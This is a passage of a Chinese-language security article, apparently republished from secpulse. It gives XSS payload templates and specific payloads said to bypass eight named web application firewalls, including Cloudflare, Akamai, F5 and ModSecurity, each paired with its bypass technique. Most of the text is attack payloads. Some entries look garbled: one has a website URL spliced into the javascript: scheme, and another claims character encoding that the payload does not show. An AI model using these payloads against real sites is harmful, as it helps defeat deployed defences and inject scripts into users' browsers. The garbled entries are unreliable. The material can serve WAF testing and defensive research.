巧妙绕过WAF的XSS技巧( 二 )

onauxclickondblclickoncontextmenuonmouseleaveontouchcancel常用的Payload结束符如下:
<payload><payload<payload{space}<payload//<payload%0a<payload%0d<payload%09Payload机制#2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}使用了<object>标签的Payload可以利用下面的Payload机制来构建:<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}Payload机制#3这种Payload机制有两种形式:明文或混淆处理 。
明文结构如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}混淆处理后的Payload结构如下:<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}JavaScript上下文Payload机制#1
{quote}{delimiter}{javascript}{delimiter}{quote}
可用的Payload有:
'^{javascript}^''*{javascript}*''+{javascript}+''/{javascript}/''%{javascript}%''|{javascript}|''<{javascript}<''>{javascript}>'Payload机制#2
{quote}{delimiter}{javascript}//可以使用下列Payload机制来构建Payload:
'<{javascript}//''|{javascript}//''^{javascript}//'防火墙绕过在研究过程中,总共绕过了八款WAF 。
下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充
WAF名称:wordfence
Payload:<a/href=javascript:alert()>click
绕过技术:数字字符编码
WAF名称:Barracuda
Payload:<a/href=https://www.isolves.com/it/aq/wl/2020-07-07/Java%0a%0d%09script:alert()>click
绕过技术:数字字符编码
WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆
参考资料HTML规范:https://www.w3.org/TR/html52/
数字字符引用:https://en.wikipedia.org/wiki/Numeric_character_reference
作者:AttackCTF
转载自:https://www.secpulse.com/archives/134608.html
 

【巧妙绕过WAF的XSS技巧】


推荐阅读